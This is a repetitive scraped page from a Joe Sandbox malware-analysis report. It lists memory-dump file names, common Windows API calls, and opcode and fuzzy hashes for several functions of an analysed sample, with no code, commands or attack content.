Source File: 00000000.00000002.2139306429.0000000000B81000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000000.00000002.2139275672.0000000000B80000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139306429.0000000000BE4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139397496.0000000000BE9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139439197.0000000000BEB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139472825.0000000000BF5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139502103.0000000000BF6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139530751.0000000000BF7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139641535.0000000000D51000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139672073.0000000000D53000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139705017.0000000000D62000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139739567.0000000000D63000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139776155.0000000000D64000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139776155.0000000000D6F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139948652.0000000000D78000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139999844.0000000000D79000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140027266.0000000000D82000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140054395.0000000000D89000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140085216.0000000000D9D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140113187.0000000000D9F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140140001.0000000000DA0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140172034.0000000000DB2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140204910.0000000000DCF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140231009.0000000000DD0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140258468.0000000000DD1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140285813.0000000000DD6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140315634.0000000000DD7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140343263.0000000000DDF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140424909.0000000000DE0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140455657.0000000000DE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140486195.0000000000DEA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140525090.0000000000DEC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140564438.0000000000DF7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140592050.0000000000DFC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140619769.0000000000DFD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140646325.0000000000E00000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140679440.0000000000E0A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140707413.0000000000E0B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140707413.0000000000E43000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140781304.0000000000E76000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140814517.0000000000E77000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140846130.0000000000E78000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140874259.0000000000E7D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140902356.0000000000E7F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140930718.0000000000E8B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140958082.0000000000E8D000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b80000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: b3b215bf4414438c6c17e663659dff44900f04af64d66e78c90dac3677a02c4a
Instruction ID: e83290c1ae8107e1fcd8dc56383dbbd25f607a1a5943ba1ed7afd1453ab9351b
Opcode Fuzzy Hash: b3b215bf4414438c6c17e663659dff44900f04af64d66e78c90dac3677a02c4a
Instruction Fuzzy Hash: C121F631284204A7FB24BB68888F76CB6D2DB41704F2445D6E410AA3F2CF759880C76B

Uniqueness

Uniqueness Score: -1.00%

Function 00B878B0 Relevance: 2.1, APIs: 1, Instructions: 551
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetNativeSystemInfo.KERNELBASE(?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00B87A53

Memory Dump Source

Source File: 00000000.00000002.2139306429.0000000000B81000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000000.00000002.2139275672.0000000000B80000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139306429.0000000000BE4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139397496.0000000000BE9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139439197.0000000000BEB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139472825.0000000000BF5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139502103.0000000000BF6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139530751.0000000000BF7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139641535.0000000000D51000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139672073.0000000000D53000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139705017.0000000000D62000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139739567.0000000000D63000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139776155.0000000000D64000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139776155.0000000000D6F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139948652.0000000000D78000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139999844.0000000000D79000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140027266.0000000000D82000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140054395.0000000000D89000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140085216.0000000000D9D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140113187.0000000000D9F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140140001.0000000000DA0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140172034.0000000000DB2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140204910.0000000000DCF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140231009.0000000000DD0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140258468.0000000000DD1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140285813.0000000000DD6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140315634.0000000000DD7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140343263.0000000000DDF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140424909.0000000000DE0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140455657.0000000000DE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140486195.0000000000DEA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140525090.0000000000DEC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140564438.0000000000DF7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140592050.0000000000DFC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140619769.0000000000DFD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140646325.0000000000E00000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140679440.0000000000E0A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140707413.0000000000E0B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140707413.0000000000E43000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140781304.0000000000E76000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140814517.0000000000E77000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140846130.0000000000E78000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140874259.0000000000E7D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140902356.0000000000E7F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140930718.0000000000E8B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140958082.0000000000E8D000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b80000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: InfoNativeSystem
String ID:
API String ID: 1721193555-0
Opcode ID: d8562012e51dbddba154cf7e1b14f3479944ac0a282a334c95c116f59f1e984b
Instruction ID: f2f4eab4046208ef25017eb1f94f5cb59f34e0502636d898061a30b991f493cc
Opcode Fuzzy Hash: d8562012e51dbddba154cf7e1b14f3479944ac0a282a334c95c116f59f1e984b
Instruction Fuzzy Hash: 3512E571E042449BDB24FB28DC4A7AD77F1AB45314FA042D8E8156B3E2DF359E80CB92

Uniqueness

Uniqueness Score: -1.00%

Function 00BBC66B Relevance: 1.5, APIs: 1, Instructions: 33memoryCOMMON

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(00000000,?,00000004,?,00BC6644,?,00000000,?,00BC045F,?,00000004,00000000,?,?,?,00BBAD35), ref: 00BBC69D

Memory Dump Source

Source File: 00000000.00000002.2139306429.0000000000B81000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000000.00000002.2139275672.0000000000B80000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139306429.0000000000BE4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139397496.0000000000BE9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139439197.0000000000BEB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139472825.0000000000BF5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139502103.0000000000BF6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139530751.0000000000BF7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139641535.0000000000D51000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139672073.0000000000D53000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139705017.0000000000D62000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139739567.0000000000D63000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139776155.0000000000D64000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139776155.0000000000D6F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139948652.0000000000D78000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139999844.0000000000D79000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140027266.0000000000D82000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140054395.0000000000D89000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140085216.0000000000D9D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140113187.0000000000D9F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140140001.0000000000DA0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140172034.0000000000DB2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140204910.0000000000DCF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140231009.0000000000DD0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140258468.0000000000DD1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140285813.0000000000DD6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140315634.0000000000DD7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140343263.0000000000DDF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140424909.0000000000DE0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140455657.0000000000DE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140486195.0000000000DEA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140525090.0000000000DEC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140564438.0000000000DF7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140592050.0000000000DFC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140619769.0000000000DFD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140646325.0000000000E00000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140679440.0000000000E0A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140707413.0000000000E0B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140707413.0000000000E43000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140781304.0000000000E76000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140814517.0000000000E77000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140846130.0000000000E78000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140874259.0000000000E7D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140902356.0000000000E7F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140930718.0000000000E8B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140958082.0000000000E8D000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b80000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 8b1ec243c14641f595eec7f3c147eb8cfb1ebddae365a541099f6ab123e79d82
Instruction ID: ca3c2612961d558a6b78da0790874dcffaa8e38f107f9b6cfbd5388a6b75001e
Opcode Fuzzy Hash: 8b1ec243c14641f595eec7f3c147eb8cfb1ebddae365a541099f6ab123e79d82
Instruction Fuzzy Hash: C7E06D365056216BE621A6659C41FFA3FC8DB4A3A0F3621A1FC1AA7190CEE0CC00C5E9

Uniqueness

Uniqueness Score: -1.00%

Function 00B88282 Relevance: 1.5, APIs: 1, Instructions: 14COMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNELBASE(?), ref: 00B88289

Memory Dump Source

Source File: 00000000.00000002.2139306429.0000000000B81000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000000.00000002.2139275672.0000000000B80000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139306429.0000000000BE4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139397496.0000000000BE9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139439197.0000000000BEB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139472825.0000000000BF5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139502103.0000000000BF6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139530751.0000000000BF7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139641535.0000000000D51000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139672073.0000000000D53000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139705017.0000000000D62000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139739567.0000000000D63000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139776155.0000000000D64000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139776155.0000000000D6F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139948652.0000000000D78000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139999844.0000000000D79000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140027266.0000000000D82000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140054395.0000000000D89000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140085216.0000000000D9D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140113187.0000000000D9F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140140001.0000000000DA0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140172034.0000000000DB2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140204910.0000000000DCF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140231009.0000000000DD0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140258468.0000000000DD1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140285813.0000000000DD6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140315634.0000000000DD7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140343263.0000000000DDF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140424909.0000000000DE0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140455657.0000000000DE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140486195.0000000000DEA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140525090.0000000000DEC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140564438.0000000000DF7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140592050.0000000000DFC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140619769.0000000000DFD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140646325.0000000000E00000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140679440.0000000000E0A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140707413.0000000000E0B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140707413.0000000000E43000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140781304.0000000000E76000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140814517.0000000000E77000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140846130.0000000000E78000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140874259.0000000000E7D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140902356.0000000000E7F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140930718.0000000000E8B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140958082.0000000000E8D000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b80000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: 563d61e3b81832be8f54a132ea9be34bcd874b4b353203e141661743c4fc77b2
Instruction ID: 903ee7092bbe6cbeb28ae469f77b3c93c96a3740bdaef41d434402293b7c5278
Opcode Fuzzy Hash: 563d61e3b81832be8f54a132ea9be34bcd874b4b353203e141661743c4fc77b2
Instruction Fuzzy Hash: C3C08C30022E0807EE2C3D78088C8A83380AB8B3A46D81BC4E0715B0F2DA36980BE750

Uniqueness

Uniqueness Score: -1.00%

Function 00B88280 Relevance: 1.5, APIs: 1, Instructions: 12COMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNELBASE(?), ref: 00B88289

Memory Dump Source

Source File: 00000000.00000002.2139306429.0000000000B81000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000000.00000002.2139275672.0000000000B80000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139306429.0000000000BE4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139397496.0000000000BE9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139439197.0000000000BEB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139472825.0000000000BF5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139502103.0000000000BF6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139530751.0000000000BF7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139641535.0000000000D51000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139672073.0000000000D53000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139705017.0000000000D62000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139739567.0000000000D63000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139776155.0000000000D64000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139776155.0000000000D6F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139948652.0000000000D78000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139999844.0000000000D79000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140027266.0000000000D82000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140054395.0000000000D89000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140085216.0000000000D9D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140113187.0000000000D9F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140140001.0000000000DA0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140172034.0000000000DB2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140204910.0000000000DCF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140231009.0000000000DD0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140258468.0000000000DD1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140285813.0000000000DD6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140315634.0000000000DD7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140343263.0000000000DDF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140424909.0000000000DE0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140455657.0000000000DE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140486195.0000000000DEA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140525090.0000000000DEC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140564438.0000000000DF7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140592050.0000000000DFC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140619769.0000000000DFD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140646325.0000000000E00000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140679440.0000000000E0A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140707413.0000000000E0B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140707413.0000000000E43000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140781304.0000000000E76000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140814517.0000000000E77000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140846130.0000000000E78000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140874259.0000000000E7D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140902356.0000000000E7F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140930718.0000000000E8B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140958082.0000000000E8D000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b80000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: e27a71042fb7cbb15e331222ab08299eb21c890f82464cf23debb2eb21805089
Instruction ID: 4be5faf61b92237fd1e6112988b17de99bf2b45be8556410e609ed6cf49640b2
Opcode Fuzzy Hash: e27a71042fb7cbb15e331222ab08299eb21c890f82464cf23debb2eb21805089
Instruction Fuzzy Hash: 1CC08C30022E0847EA2C7E68588C8343340EB473283E80BC8E0325B0F2DB33C807CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 00B8A9D0 Relevance: 1.5, APIs: 1, Instructions: 244COMMON

Download Yara Rule

APIs

CoInitialize.OLE32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 00B8ABF8

Memory Dump Source

Source File: 00000000.00000002.2139306429.0000000000B81000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000000.00000002.2139275672.0000000000B80000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139306429.0000000000BE4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139397496.0000000000BE9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139439197.0000000000BEB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139472825.0000000000BF5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139502103.0000000000BF6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139530751.0000000000BF7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139641535.0000000000D51000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139672073.0000000000D53000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139705017.0000000000D62000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139739567.0000000000D63000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139776155.0000000000D64000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139776155.0000000000D6F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139948652.0000000000D78000.00000080.00000001.01000000.00000003.sdmpDownload File
